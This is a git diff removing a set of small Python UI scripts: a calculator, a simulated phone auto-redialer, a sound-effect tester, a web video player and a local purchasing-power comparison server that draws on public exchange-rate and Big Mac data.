ui.Label() - self.display_label.text = self.display_text - self.display_label.font = ('', 40) - self.display_label.text_color = 'white' - self.display_label.alignment = ui.ALIGN_RIGHT - self.display_label.number_of_lines = 1 - self.display_label.flex = 'W' - - # 创建按钮 - self.buttons = {} - for text, col, row, col_span in self.button_specs: - btn = ui.Button(title=text) - btn.font = ('', 28) - btn.background_color = self.get_button_color(text) - btn.tint_color = 'white' - btn.corner_radius = 40 - btn.action = self.button_tapped - self.buttons[text] = btn - self.add_subview(btn) - - self.add_subview(self.display_label) - - def get_button_color(self, text): - # 数字和点按钮为深灰色 - if text in '0123456789.': - return (0.2, 0.2, 0.2, 1) # 深灰 - # 操作符按钮为橙色 - elif text in '÷×-+=': - return (1.0, 0.6, 0.0, 1) # 橙色 - # 功能按钮为浅灰色 - else: - return (0.5, 0.5, 0.5, 1) # 浅灰 - - def layout(self): - # 设置显示标签位置 - display_height = 120 - self.display_label.frame = (20, 40, self.width - 40, display_height) - - # 设置按钮位置 - button_size = 80 - button_margin = 10 - start_y = display_height + 60 - - for text, btn in self.buttons.items(): - # 找到按钮在布局中的位置 - for spec_text, col, row, col_span in self.button_specs: - if spec_text == text: - x = 20 + col * (button_size + button_margin) - y = start_y + row * (button_size + button_margin) - width = button_size * col_span + button_margin * (col_span - 1) - btn.frame = (x, y, width, button_size) - break - - def button_tapped(self, sender): - text = sender.title - - if text in '0123456789': - self.input_digit(text) - elif text == '.': - self.input_decimal() - elif text in '÷×-+': - self.set_operation(text) - elif text == '=': - self.calculate_result() - elif text == 'AC': - self.clear_all() - elif text == '±': - self.toggle_sign() - elif text == '⌫': - self.delete_last() - elif text == '%': - self.calculate_percentage() - - def input_digit(self, digit): - if self.display_text == '0' or self.waiting_for_second_operand or self.should_reset_display: - self.display_text = digit - self.waiting_for_second_operand = False - self.should_reset_display = False - else: - self.display_text += digit - - self.update_display() - - def input_decimal(self): - if self.waiting_for_second_operand or self.should_reset_display: - self.display_text = '0.' - self.waiting_for_second_operand = False - self.should_reset_display = False - elif '.' not in self.display_text: - self.display_text += '.' - - self.update_display() - - def set_operation(self, op): - if self.operator is not None and not self.waiting_for_second_operand: - self.calculate_result() - - try: - self.first_operand = float(self.display_text) - except: - self.first_operand = 0 - - self.operator = op - self.waiting_for_second_operand = True - self.should_reset_display = True - - def calculate_result(self): - if self.operator is None or self.waiting_for_second_operand: - return - - try: - second_operand = float(self.display_text) - - if self.operator == '+': - result = self.first_operand + second_operand - elif self.operator == '-': - result = self.first_operand - second_operand - elif self.operator == '×': - result = self.first_operand * second_operand - elif self.operator == '÷': - if second_operand == 0: - self.display_text = '错误' - self.update_display() - self.clear_all() - return - result = self.first_operand / second_operand - - # 处理浮点数精度问题 - if result.is_integer(): - self.display_text = str(int(result)) - else: - # 限制小数位数 - self.display_text = f'{result:.10f}'.rstrip('0').rstrip('.') - - self.first_operand = result - self.operator = None - self.waiting_for_second_operand = True - self.should_reset_display = True - self.update_display() - - except Exception as e: - self.display_text = '错误' - self.update_display() - self.clear_all() - - def clear_all(self): - self.display_text = '0' - self.first_operand = None - self.operator = None - self.waiting_for_second_operand = False - self.should_reset_display = False - self.update_display() - - def toggle_sign(self): - try: - value = float(self.display_text) - value = -value - if value.is_integer(): - self.display_text = str(int(value)) - else: - self.display_text = str(value) - self.update_display() - except: - pass - - def delete_last(self): - if self.display_text != '0' and len(self.display_text) > 1: - self.display_text = self.display_text[:-1] - elif len(self.display_text) == 1: - self.display_text = '0' - self.update_display() - - def calculate_percentage(self): - try: - value = float(self.display_text) - value = value / 100 - if value.is_integer(): - self.display_text = str(int(value)) - else: - self.display_text = str(value) - self.update_display() - except: - pass - - def update_display(self): - # 限制显示长度 - if len(self.display_text) > 12: - if '.' in self.display_text: - self1.display_text = self.display_text[:12] - else: - self.display_text = self.display_text[:12] - - self.display_label.text = self.display_text - -# 运行计算器 -if __name__ == '__main__': - view = CalculatorView() - view.present('fullscreen') \ No newline at end of file diff --git a/script_library/scripts/ui/script_mn8qerq9.py b/script_library/scripts/ui/script_mn8qerq9.py deleted file mode 100644 index 56fdc6b..0000000 --- a/script_library/scripts/ui/script_mn8qerq9.py +++ /dev/null @@ -1,98 +0,0 @@ -import time -import random - -class AutoCaller: - def __init__(self, target_number): - self.target = target_number - self.call_count = 0 - self.is_running = True - - def make_call(self): - """模拟拨打电话(实际需对接真实电话API)""" - self.call_count += 1 - print(f"\n{'='*50}") - print(f"📞 第 {self.call_count} 次拨打: {self.target}") - print(f"⏰ 时间: {time.strftime('%Y-%m-%d %H:%M:%S')}") - - # 拨号中 - print("📞 拨号中...") - time.sleep(1) - - # 振铃中 - print("🔔 振铃中...") - time.sleep(2) - - # 随机模拟对方行为(实际使用时替换为真实通话状态检测) - # 这里用随机模拟,真实场景需要对接电话API - actions = ['answer', 'hangup', 'busy', 'no_answer'] - weights = [0.2, 0.5, 0.2, 0.1] # 20%接听, 50%挂断, 20%忙线, 10%无人接听 - result = random.choices(actions, weights=weights)[0] - - if result == 'answer': - print("💬 对方接听!通话中...") - duration = random.randint(5, 30) - time.sleep(duration) - print(f"✅ 通话结束 (通话时长: {duration}秒)") - print("🎉 通话成功完成,停止重拨") - self.is_running = False - return 'answered' - - elif result == 'hangup': - print("❌ 对方挂断") - return 'hangup' - - elif result == 'busy': - print("📵 对方忙线") - return 'busy' - - else: - print("⏰ 无人接听") - return 'no_answer' - - def start(self, interval=30, max_attempts=None): - """开始自动重拨""" - print("="*50) - print("🚀 自动重拨已启动") - print(f"📱 目标号码: {self.target}") - print(f"⏱️ 重拨间隔: {interval}秒") - print(f"🔁 最大次数: {'无限' if max_attempts is None else max_attempts}") - print("="*50) - - while self.is_running: - if max_attempts and self.call_count >= max_attempts: - print(f"\n⚠️ 已达到最大重拨次数 ({max_attempts}),停止重拨") - break - - result = self.make_call() - - if result == 'answered': - break - - if self.is_running: - print(f"\n⏳ 等待 {interval} 秒后自动重拨...") - for i in range(interval, 0, -1): - print(f" 剩余 {i} 秒", end='\r') - time.sleep(1) - print("\n" + " "*20 + "\n") - -if __name__ == "__main__": - print("="*40) - print("📞 自动重拨系统") - print("="*40) - - # 直接在这里填写要拨打的手机号 - phone = "17751377766" # 👈 改成你要拨打的号码 - - interval = 10 # 挂断后等待10秒重拨 - max_attempts = 5 # 最多重拨5次,None表示无限 - - print(f"目标号码: {phone}") - print(f"重拨间隔: {interval}秒") - print(f"最大重拨: {max_attempts}次") - print("-"*40) - - caller = AutoCaller(phone) - try: - caller.start(interval=interval, max_attempts=max_attempts) - except KeyboardInterrupt: - print("\n\n⚠️ 用户手动停止") \ No newline at end of file diff --git a/script_library/scripts/ui/script_mnbr9mqw.py b/script_library/scripts/ui/script_mnbr9mqw.py deleted file mode 100644 index 0bab3f6..0000000 --- a/script_library/scripts/ui/script_mnbr9mqw.py +++ /dev/null @@ -1,265 +0,0 @@ -import ui -import sound -import console - -# 内置音效分类和示例音效 -AUDIO_CATEGORIES = { - "游戏音效 (game)": [ - "game:Beep", "game:Hit_1", "game:Hit_2", "game:Hit_3", "game:Powerup", - "game:Error", "game:Coin_1", "game:Coin_2", "game:Coin_3", "game:Jump_1", - "game:Jump_2", "game:Explosion_1", "game:Explosion_2", "game:Explosion_3", - "game:Laser_1", "game:Laser_2", "game:Laser_3", "game:Shoot_1", "game:Shoot_2", - "game:Shoot_3", "game:Select_1", "game:Select_2", "game:Select_3" - ], - "街机音效 (arcade)": [ - "arcade:Coin_1", "arcade:Coin_2", "arcade:Coin_3", "arcade:Jump_1", - "arcade:Jump_2", "arcade:Explosion_1", "arcade:Explosion_2", "arcade:Explosion_3", - "arcade:Laser_1", "arcade:Laser_2", "arcade:Laser_3", "arcade:Shoot_1", - "arcade:Shoot_2", "arcade:Shoot_3", "arcade:Select_1", "arcade:Select_2", - "arcade:Select_3", "arcade:Powerup_1", "arcade:Powerup_2", "arcade:Powerup_3" - ], - "UI 音效 (ui)": [ - "ui:click1", "ui:click2", "ui:click3", "ui:click4", "ui:click5", - "ui:pop1", "ui:pop2", "ui:pop3", "ui:pop4", "ui:pop5", - "ui:alert1", "ui:alert2", "ui:alert3", "ui:alert4", "ui:alert5", - "ui:success1", "ui:success2", "ui:success3", "ui:success4", "ui:success5" - ], - "数字音效 (digital)": [ - "digital:beep1", "digital:beep2", "digital:beep3", "digital:beep4", "digital:beep5", - "digital:error1", "digital:error2", "digital:error3", "digital:error4", "digital:error5", - "digital:success1", "digital:success2", "digital:success3", "digital:success4", "digital:success5" - ], - "赌场音效 (casino)": [ - "casino:chip1", "casino:chip2", "casino:chip3", "casino:chip4", "casino:chip5", - "casino:coin1", "casino:coin2", "casino:coin3", "casino:coin4", "casino:coin5", - "casino:slot1", "casino:slot2", "casino:slot3", "casino:slot4", "casino:slot5" - ], - "RPG 音效 (rpg)": [ - "rpg:DoorOpen_1", "rpg:DoorClose_1", "rpg:Footstep_1", "rpg:Footstep_2", "rpg:Footstep_3", - "rpg:SwordSwing_1", "rpg:SwordSwing_2", "rpg:SwordSwing_3", "rpg:KnifeSlice_1", "rpg:KnifeSlice_2", - "rpg:MagicSpell_1", "rpg:MagicSpell_2", "rpg:MagicSpell_3", "rpg:MagicSpell_4", "rpg:MagicSpell_5" - ], - "音乐音效 (music)": [ - "music:Victory_NES_1", "music:Victory_NES_2", "music:Victory_NES_3", "music:GameOver_NES_1", - "music:GameOver_NES_2", "music:GameOver_NES_3", "music:LevelUp_NES_1", "music:LevelUp_NES_2", - "music:LevelUp_NES_3", "music:Intro_NES_1", "music:Intro_NES_2", "music:Intro_NES_3" - ] -} - -class AudioTester: - def __init__(self): - self.current_sound = None - self.current_volume = 0.5 - self.current_pitch = 1.0 - self.current_pan = 0.0 - - # 创建主视图 - self.view = ui.View(frame=(0, 0, 400, 700)) - self.view.name = '音频测试器' - self.view.background_color = '#f5f5f5' - - # 标题 - title_label = ui.Label(frame=(20, 20, 360, 40)) - title_label.text = '🎵 内置音频测试器' - title_label.font = ('System-Bold', 24) - title_label.alignment = ui.ALIGN_CENTER - title_label.text_color = '#333' - title_label.flex = 'W' - self.view.add_subview(title_label) - - # 统计标签 - total_sounds = sum(len(sounds) for sounds in AUDIO_CATEGORIES.values()) - stats_label = ui.Label(frame=(20, 70, 360, 20)) - stats_label.text = f'共 {total_sounds} 个内置音效,7 大分类' - stats_label.font = ('System', 14) - stats_label.alignment = ui.ALIGN_CENTER - stats_label.text_color = '#666' - stats_label.flex = 'W' - self.view.add_subview(stats_label) - - # 控制面板 - control_view = ui.View(frame=(20, 100, 360, 120)) - control_view.background_color = '#ffffff' - control_view.corner_radius = 10 - control_view.border_width = 1 - control_view.border_color = '#e0e0e0' - control_view.flex = 'W' - self.view.add_subview(control_view) - - # 音量控制 - volume_label = ui.Label(frame=(20, 15, 80, 30)) - volume_label.text = '音量:' - volume_label.font = ('System', 14) - control_view.add_subview(volume_label) - - self.volume_slider = ui.Slider(frame=(100, 15, 200, 30)) - self.volume_slider.value = self.current_volume - self.volume_slider.continuous = True - self.volume_slider.action = self.volume_changed - control_view.add_subview(self.volume_slider) - - self.volume_value_label = ui.Label(frame=(310, 15, 40, 30)) - self.volume_value_label.text = f'{int(self.current_volume * 100)}%' - self.volume_value_label.font = ('System', 14) - self.volume_value_label.alignment = ui.ALIGN_RIGHT - control_view.add_subview(self.volume_value_label) - - # 音高控制 - pitch_label = ui.Label(frame=(20, 55, 80, 30)) - pitch_label.text = '音高:' - pitch_label.font = ('System', 14) - control_view.add_subview(pitch_label) - - self.pitch_slider = ui.Slider(frame=(100, 55, 200, 30)) - self.pitch_slider.value = 0.5 # 映射到 0.5-2.0 - self.pitch_slider.continuous = True - self.pitch_slider.action = self.pitch_changed - control_view.add_subview(self.pitch_slider) - - self.pitch_value_label = ui.Label(frame=(310, 55, 40, 30)) - self.pitch_value_label.text = f'{self.current_pitch:.1f}x' - self.pitch_value_label.font = ('System', 14) - self.pitch_value_label.alignment = ui.ALIGN_RIGHT - control_view.add_subview(self.pitch_value_label) - - # 声像控制 - pan_label = ui.Label(frame=(20, 95, 80, 30)) - pan_label.text = '声像:' - pan_label.font = ('System', 14) - control_view.add_subview(pan_label) - - self.pan_slider = ui.Slider(frame=(100, 95, 200, 30)) - self.pan_slider.value = 0.5 # 映射到 -1.0到1.0 - self.pan_slider.continuous = True - self.pan_slider.action = self.pan_changed - control_view.add_subview(self.pan_slider) - - self.pan_value_label = ui.Label(frame=(310, 95, 40, 30)) - self.pan_value_label.text = f'{self.current_pan:.1f}' - self.pan_value_label.font = ('System', 14) - self.pan_value_label.alignment = ui.ALIGN_RIGHT - control_view.add_subview(self.pan_value_label) - - # 控制按钮 - button_y = 230 - self.play_button = ui.Button(frame=(20, button_y, 160, 44)) - self.play_button.title = '▶️ 播放选中音效' - self.play_button.background_color = '#4CAF50' - self.play_button.title_color = 'white' - self.play_button.corner_radius = 8 - self.play_button.action = self.play_sound - self.play_button.flex = 'LRTB' - self.view.add_subview(self.play_button) - - self.stop_button = ui.Button(frame=(200, button_y, 160, 44)) - self.stop_button.title = '⏹️ 停止所有音效' - self.stop_button.background_color = '#F44336' - self.stop_button.title_color = 'white' - self.stop_button.corner_radius = 8 - self.stop_button.action = self.stop_all_sounds - self.stop_button.flex = 'LRTB' - self.view.add_subview(self.stop_button) - - # 当前播放标签 - self.current_label = ui.Label(frame=(20, 290, 360, 30)) - self.current_label.text = '当前播放: 无' - self.current_label.font = ('System', 14) - self.current_label.text_color = '#666' - self.current_label.flex = 'W' - self.view.add_subview(self.current_label) - - # 创建分段控件用于切换分类 - self.segmented_control = ui.SegmentedControl(frame=(20, 330, 360, 32)) - self.segmented_control.segments = list(AUDIO_CATEGORIES.keys()) - self.segmented_control.selected_index = 0 - self.segmented_control.action = self.category_changed - self.segmented_control.flex = 'W' - self.view.add_subview(self.segmented_control) - - # 创建表格视图显示音效列表 - self.table_view = ui.TableView(frame=(20, 380, 360, 280)) - self.table_view.row_height = 44 - self.table_view.flex = 'WH' - self.table_view.corner_radius = 8 - self.table_view.border_width = 1 - self.table_view.border_color = '#e0e0e0' - self.table_view.delegate = self - self.view.add_subview(self.table_view) - - # 初始化数据 - self.current_category = list(AUDIO_CATEGORIES.keys())[0] - self.current_sounds = AUDIO_CATEGORIES[self.current_category] - self.selected_sound = None - - # 设置 TableView 数据源 - self.update_table_data() - - def volume_changed(self, sender): - self.current_volume = sender.value - self.volume_value_label.text = f'{int(self.current_volume * 100)}%' - - def pitch_changed(self, sender): - # 将 0-1 映射到 0.5-2.0 - self.current_pitch = 0.5 + sender.value * 1.5 - self.pitch_value_label.text = f'{self.current_pitch:.1f}x' - - def pan_changed(self, sender): - # 将 0-1 映射到 -1.0到1.0 - self.current_pan = (sender.value - 0.5) * 2 - self.pan_value_label.text = f'{self.current_pan:.1f}' - - def category_changed(self, sender): - self.current_category = sender.segments[sender.selected_index] - self.current_sounds = AUDIO_CATEGORIES[self.current_category] - self.update_table_data() - self.selected_sound = None - self.current_label.text = '当前播放: 无' - - def update_table_data(self): - # 将音效列表转换为 TableView 可用的数据格式 - table_data = [] - for sound_name in self.current_sounds: - table_data.append({ - 'title': sound_name, - 'accessory_type': 'disclosure_indicator' - }) - self.table_view.data_source = table_data - self.table_view.reload_data() - - def play_sound(self, sender): - if self.selected_sound: - try: - # 播放音效 - self.current_sound = sound.play_effect( - self.selected_sound, - volume=self.current_volume, - pitch=self.current_pitch, - pan=self.current_pan - ) - self.current_label.text = f'当前播放: {self.selected_sound}' - console.hud_alert(f'播放: {self.selected_sound}', duration=1.0) - except Exception as e: - console.hud_alert(f'播放失败: {str(e)}', duration=2.0) - else: - console.hud_alert('请先选择一个音效', duration=1.5) - - def stop_all_sounds(self, sender): - sound.stop_all_effects() - self.current_label.text = '当前播放: 已停止' - console.hud_alert('已停止所有音效', duration=1.0) - - def tableview_did_select(self, tableview, section, row): - self.selected_sound = self.current_sounds[row] - self.current_label.text = f'已选择: {self.selected_sound}' - # 自动播放选中的音效 - self.play_sound(None) - - - - def run(self): - self.view.present('sheet') - -# 创建并运行音频测试器 -if __name__ == '__main__': - tester = AudioTester() - tester.run() \ No newline at end of file diff --git a/script_library/scripts/ui/script_mo9oqex4.py b/script_library/scripts/ui/script_mo9oqex4.py deleted file mode 100644 index 937458f..0000000 --- a/script_library/scripts/ui/script_mo9oqex4.py +++ /dev/null @@ -1,77 +0,0 @@ -import ui -import requests -import storage -import dialogs - -# ===== 接口 ===== -API = "http://api.yujn.cn/api/zzxjj.php" - -# ===== 获取真实视频 ===== -def get_real_url(): - try: - r = requests.get(API, timeout=10) - - # 跳转地址 - if r.url != API: - return r.url - - # 返回文本是URL - if r.text.startswith("http"): - return r.text.strip() - - except Exception as e: - print("获取失败:", e) - - return None - -# ===== HTML播放器 ===== -def build_html(url): - return f""" - - - - - - - - - """ - -# ===== 主程序 ===== -class VideoApp(ui.View): - - def __init__(self): - super().__init__() - - self.background_color = "black" - - # 播放器 - self.web = ui.WebView(frame=self.bounds, flex="WH") - self.add_subview(self.web) - # 按钮 - self.button = ui.Button(title="切换视频", frame=(0, 0, 150, 50)) # 初始位置设为 (0, 0) - self.button.action = self.play_video - self.add_subview(self.button) - - # 首次运行显示使用说明 - - dialogs.alert("使用说明", "欢迎使用本应用!\n刷新视频点击切换视频\n播放后找不到切换按钮点击右上X按钮\n换视频较慢!") - - # ===== 播放视频 ===== - def play_video(self, sender): - url = get_real_url() - if url: - print("播放:", url) - self.web.load_html(build_html(url)) - else: - print("无法获取视频 URL") - -# ===== 启动 ===== -if __name__ == "__main__": - - v = VideoApp() - w, h = ui.get_screen_size() - v.frame = (0, 0, w, h) - # 设置按钮位置为屏幕中心,并以模态形式显示 - v.present("sheet", animated=True, hide_title_bar=True) \ No newline at end of file diff --git a/script_library/scripts/ui/script_mogykcgu.py b/script_library/scripts/ui/script_mogykcgu.py deleted file mode 100644 index 05a61f4..0000000 --- a/script_library/scripts/ui/script_mogykcgu.py +++ /dev/null @@ -1,1096 +0,0 @@ -import http.server -import socketserver -import socket -import threading -import webbrowser -import time -import json -import urllib.parse -import urllib.request -import csv -import io -from pathlib import Path -from datetime import datetime, timezone - - -HTML_CONTENT = r""" - - - - - 全球购买力对比 - - - - - -
-
-
-
-
-
- 数据准备中... -
-
-
- 缓存状态检查中... -
-
-
- - -
-
-
- -
-
- - 多商品 · 多国家 · 中国基准 1x -
-

- 全球购买力对比器 -

-

输入任意人民币金额,比较它在不同国家能买到多少生活用品。

-
- -
-
-
- -
- ¥ - -
-
- - - - -
-
-
-
PPP
-
- -
-
-

- - 当前商品购买力前三 -

- -
-
-
-
- -
-
-
-

选择对比物

-

切换后卡片、排行和热力表会一起更新

-
- -
-
-
- -
-
-
-

一眼看懂:各国综合购买力

-

按 6 类商品平均倍数排序,数值越高表示同样人民币换汇后越经花。

-
- -
-
-
- - - - - - - - - - - - - -
国家综合倍数大米西瓜汉堡鸡蛋牛奶餐巾纸
- - - -
-
-
-

筛选国家

-

可以只看你关心的国家,方便横向比较

-
-
- - -
-
-
-
- -
-
-

中国购买力 (基准 1x)

-
-
-
-

- - 数据说明 -

-
-
-
- -
- - - - - - - - - -""" - -APP_DIR = Path(__file__).resolve().parent -CACHE_FILE = APP_DIR / "purchasing_power_cache.json" -CACHE_TTL_SECONDS = 6 * 60 * 60 - -DEFAULT_RATES = { - "CNY": 1, "USD": 0.138, "AUD": 0.21, "NZD": 0.23, "KRW": 188.5, - "HKD": 1.08, "GBP": 0.11, "EUR": 0.128, "ISK": 19.2, "CAD": 0.19 -} - -DEFAULT_PRICES = { - "CNY": { "rice": 8.6, "watermelon": 4.8, "burger": 25.0, "eggs": 12.0, "milk": 11.0, "napkins": 5.0 }, - "USD": { "rice": 4.80, "watermelon": 1.70, "burger": 5.69, "eggs": 4.50, "milk": 1.05, "napkins": 2.50 }, - "AUD": { "rice": 3.60, "watermelon": 3.90, "burger": 7.70, "eggs": 5.80, "milk": 1.75, "napkins": 3.20 }, - "NZD": { "rice": 5.10, "watermelon": 4.50, "burger": 8.10, "eggs": 8.50, "milk": 2.90, "napkins": 3.80 }, - "KRW": { "rice": 5400, "watermelon": 4200, "burger": 5500, "eggs": 7200, "milk": 2800, "napkins": 2500 }, - "HKD": { "rice": 15.2, "watermelon": 18.0, "burger": 24.0, "eggs": 32.0, "milk": 24.0, "napkins": 12.0 }, - "GBP": { "rice": 1.55, "watermelon": 1.60, "burger": 4.49, "eggs": 2.80, "milk": 1.15, "napkins": 1.80 }, - "EUR_DE": { "rice": 2.20, "watermelon": 1.90, "burger": 5.29, "eggs": 3.20, "milk": 1.10, "napkins": 1.70 }, - "ISK": { "rice": 520, "watermelon": 390, "burger": 990, "eggs": 850, "milk": 240, "napkins": 450 }, - "EUR_FR": { "rice": 2.40, "watermelon": 2.20, "burger": 5.40, "eggs": 3.60, "milk": 1.25, "napkins": 1.90 }, - "CAD": { "rice": 4.20, "watermelon": 2.20, "burger": 7.05, "eggs": 5.30, "milk": 2.60, "napkins": 2.80 } -} - -COUNTRY_ISO_TO_CODE = { - "CHN": "CNY", "USA": "USD", "AUS": "AUD", "NZL": "NZD", "KOR": "KRW", - "HKG": "HKD", "GBR": "GBP", "DEU": "EUR_DE", "ISL": "ISK", - "FRA": "EUR_FR", "CAN": "CAD" -} - - -def now_iso(): - return datetime.now().strftime("%Y-%m-%d %H:%M:%S") - - -def http_json(url, timeout=10): - req = urllib.request.Request( - url, - headers={ - "User-Agent": "Mozilla/5.0", - "Accept": "application/json,text/plain,*/*", - }, - ) - with urllib.request.urlopen(req, timeout=timeout) as response: - return json.loads(response.read().decode("utf-8", errors="replace")) - - -def http_text(url, timeout=10): - req = urllib.request.Request( - url, - headers={ - "User-Agent": "Mozilla/5.0", - "Accept": "text/csv,text/plain,*/*", - }, - ) - with urllib.request.urlopen(req, timeout=timeout) as response: - return response.read().decode("utf-8", errors="replace") - - -def load_cache(): - if not CACHE_FILE.exists(): - return None - try: - return json.loads(CACHE_FILE.read_text(encoding="utf-8")) - except Exception: - return None - - -def save_cache(data): - try: - CACHE_FILE.write_text(json.dumps(data, ensure_ascii=False, indent=2), encoding="utf-8") - except Exception: - pass - - -def cache_is_fresh(cache): - if not cache or "savedAtEpoch" not in cache: - return False - return (time.time() - float(cache.get("savedAtEpoch", 0))) < CACHE_TTL_SECONDS - - -def fetch_rates_primary(): - data = http_json("https://open.er-api.com/v6/latest/CNY", timeout=10) - if data.get("result") == "success": - return { - "rates": normalize_rates(data.get("rates", {})), - "source": "open.er-api.com", - "updated": data.get("time_last_update_utc") - } - raise RuntimeError("open.er-api 返回失败") - - -def fetch_rates_backup(): - data = http_json("https://api.frankfurter.app/latest?from=CNY", timeout=10) - rates = data.get("rates", {}) - if rates: - # frankfurter 不一定支持所有货币,能拿多少拿多少 - normalized = {"CNY": 1} - for k in ["USD", "AUD", "NZD", "KRW", "HKD", "GBP", "EUR", "ISK", "CAD"]: - if k in rates: - normalized[k] = rates[k] - if len(normalized) > 2: - return { - "rates": normalized, - "source": "frankfurter.app", - "updated": data.get("date") - } - raise RuntimeError("frankfurter 返回失败") - - -def normalize_rates(raw_rates): - rates = {"CNY": 1} - for key in ["USD", "AUD", "NZD", "KRW", "HKD", "GBP", "EUR", "ISK", "CAD"]: - if key in raw_rates: - try: - rates[key] = float(raw_rates[key]) - except Exception: - pass - return rates - - -def fetch_rates_stable(cache=None): - errors = [] - for fn in [fetch_rates_primary, fetch_rates_backup]: - try: - result = fn() - merged = dict(DEFAULT_RATES) - merged.update(result["rates"]) - return merged, { - "source": result.get("source"), - "updated": result.get("updated"), - "cacheUsed": False, - "errors": errors - } - except Exception as e: - errors.append(str(e)) - - if cache and cache.get("rates"): - merged = dict(DEFAULT_RATES) - merged.update(cache["rates"]) - return merged, { - "source": "本地缓存", - "updated": cache.get("generatedAt"), - "cacheUsed": True, - "errors": errors - } - - return dict(DEFAULT_RATES), { - "source": "内置默认汇率", - "updated": None, - "cacheUsed": True, - "errors": errors - } - - -def fetch_bigmac_prices(): - urls = [ - "https://raw.githubusercontent.com/TheEconomist/big-mac-data/master/source-data/big-mac-source-data.csv", - "https://raw.githubusercontent.com/TheEconomist/big-mac-data/master/output-data/big-mac-raw-index.csv", - ] - - last_error = None - for url in urls: - try: - text = http_text(url, timeout=12) - rows = list(csv.DictReader(io.StringIO(text))) - usable = [] - for row in rows: - iso = row.get("iso_a3") or row.get("iso") - local_price = row.get("local_price") - date = row.get("date") - if iso in COUNTRY_ISO_TO_CODE and local_price: - try: - usable.append((date, iso, float(local_price))) - except Exception: - pass - - if not usable: - continue - - latest_date = sorted(set(x[0] for x in usable if x[0]))[-1] - prices = {} - for date, iso, price in usable: - if date == latest_date: - code = COUNTRY_ISO_TO_CODE[iso] - prices.setdefault(code, {})["burger"] = price - return prices, latest_date, url - except Exception as e: - last_error = str(e) - - raise RuntimeError(last_error or "Big Mac 数据获取失败") - - -def deep_merge_prices(base, update): - result = json.loads(json.dumps(base, ensure_ascii=False)) - for code, item_prices in (update or {}).items(): - if code not in result: - result[code] = {} - for item, value in item_prices.items(): - try: - value = float(value) - if value > 0: - result[code][item] = value - except Exception: - pass - return result - - -def fetch_prices_stable(cache=None): - prices = json.loads(json.dumps(DEFAULT_PRICES, ensure_ascii=False)) - meta = { - "source": "默认参考价 + 可用公开数据", - "bigmacDate": None, - "bigmacSource": None, - "cacheUsed": False, - "errors": [] - } - - try: - bigmac, date, source = fetch_bigmac_prices() - prices = deep_merge_prices(prices, bigmac) - meta["bigmacDate"] = date - meta["bigmacSource"] = source - except Exception as e: - meta["errors"].append(str(e)) - if cache and cache.get("prices"): - cached_prices = {} - for code, item_prices in cache["prices"].items(): - if "burger" in item_prices: - cached_prices.setdefault(code, {})["burger"] = item_prices["burger"] - prices = deep_merge_prices(prices, cached_prices) - meta["cacheUsed"] = True - meta["source"] = "默认参考价 + 缓存 Big Mac" - - return prices, meta - - -def build_all_data(force=False): - cache = load_cache() - if (not force) and cache_is_fresh(cache): - cache["meta"]["cacheUsed"] = True - return cache - - rates, rates_meta = fetch_rates_stable(cache) - prices, prices_meta = fetch_prices_stable(cache) - - data = { - "ok": True, - "rates": rates, - "prices": prices, - "generatedAt": now_iso(), - "savedAtEpoch": time.time(), - "meta": { - "generatedAt": now_iso(), - "cacheUsed": bool(rates_meta.get("cacheUsed") or prices_meta.get("cacheUsed")), - "rates": rates_meta, - "prices": prices_meta - } - } - save_cache(data) - return data - - -def fetch_deezer_preview(): - query = 'artist:"Antoine Chambe" track:"Andalusia (Filatov & Karas Remix)"' - encoded_query = urllib.parse.quote(query) - url = f"https://api.deezer.com/search?q={encoded_query}&limit=15" - data = http_json(url, timeout=10) - results = data.get("data", []) - if not results: - return {"ok": False, "error": "Deezer 没有返回搜索结果"} - - def score(item): - title = (item.get("title") or "").lower() - title_short = (item.get("title_short") or "").lower() - artist = (item.get("artist") or {}).get("name", "").lower() - text = title + " " + title_short - s = 0 - if "andalusia" in text: s += 20 - if "filatov" in text: s += 20 - if "karas" in text: s += 20 - if "remix" in text: s += 10 - if "antoine" in artist: s += 10 - return s - - results.sort(key=score, reverse=True) - for item in results: - preview = item.get("preview") - if preview: - return { - "ok": True, - "previewUrl": preview, - "title": item.get("title") or item.get("title_short") or "Andalusia", - "artist": (item.get("artist") or {}).get("name", ""), - } - return {"ok": False, "error": "找到了歌曲,但没有可用 previewUrl"} - - -class Handler(http.server.BaseHTTPRequestHandler): - def do_GET(self): - if self.path in ("/", "/index.html"): - return self.send_bytes(HTML_CONTENT.encode("utf-8"), "text/html; charset=utf-8") - - if self.path.startswith("/api/all-data"): - force = "force=1" in self.path - try: - result = build_all_data(force=force) - result["ok"] = True - except Exception as e: - result = { - "ok": True, - "rates": DEFAULT_RATES, - "prices": DEFAULT_PRICES, - "meta": { - "generatedAt": now_iso(), - "cacheUsed": True, - "rates": {"source": "内置默认汇率", "errors": [str(e)]}, - "prices": {"source": "内置默认价格", "errors": [str(e)]} - } - } - return self.send_json(result) - - if self.path.startswith("/deezer-preview"): - try: - result = fetch_deezer_preview() - except Exception as e: - result = {"ok": False, "error": str(e)} - return self.send_json(result) - - self.send_response(404) - self.send_header("Content-Type", "text/plain; charset=utf-8") - self.end_headers() - self.wfile.write("404 Not Found".encode("utf-8")) - - def send_json(self, result): - body = json.dumps(result, ensure_ascii=False).encode("utf-8") - return self.send_bytes(body, "application/json; charset=utf-8", no_store=True) - - def send_bytes(self, body, content_type, no_store=False): - self.send_response(200) - self.send_header("Content-Type", content_type) - if no_store: - self.send_header("Cache-Control", "no-store") - self.send_header("Content-Length", str(len(body))) - self.end_headers() - self.wfile.write(body) - - def log_message(self, format, *args): - return - - -def find_free_port(start_port=8765): - port = start_port - while port < start_port + 100: - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - try: - s.bind(("127.0.0.1", port)) - return port - except OSError: - port += 1 - raise RuntimeError("没有找到可用端口,请关闭其他占用端口的程序后重试。") - - -def start_server(): - port = find_free_port() - url = f"http://127.0.0.1:{port}/" - - # 启动时先尝试预热缓存,失败也不影响页面打开 - try: - build_all_data(force=False) - except Exception: - pass - - with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd: - print("=" * 60) - print("全球购买力对比器 Pro Max 已启动") - print("手机浏览器打开:") - print(url) - print() - print("升级内容:") - print("1. 多源汇率 + 缓存 + 默认值兜底。") - print("2. 汉堡优先同步 The Economist Big Mac 数据。") - print("3. 更美观 UI:排行、总览表、国家筛选、卡片对比。") - print("4. 右下角继续播放购买力小曲。") - print("=" * 60) - - def open_browser(): - time.sleep(1) - try: - webbrowser.open(url) - except Exception: - pass - - threading.Thread(target=open_browser, daemon=True).start() - try: - httpd.serve_forever() - except KeyboardInterrupt: - print("\n已停止运行。") - - 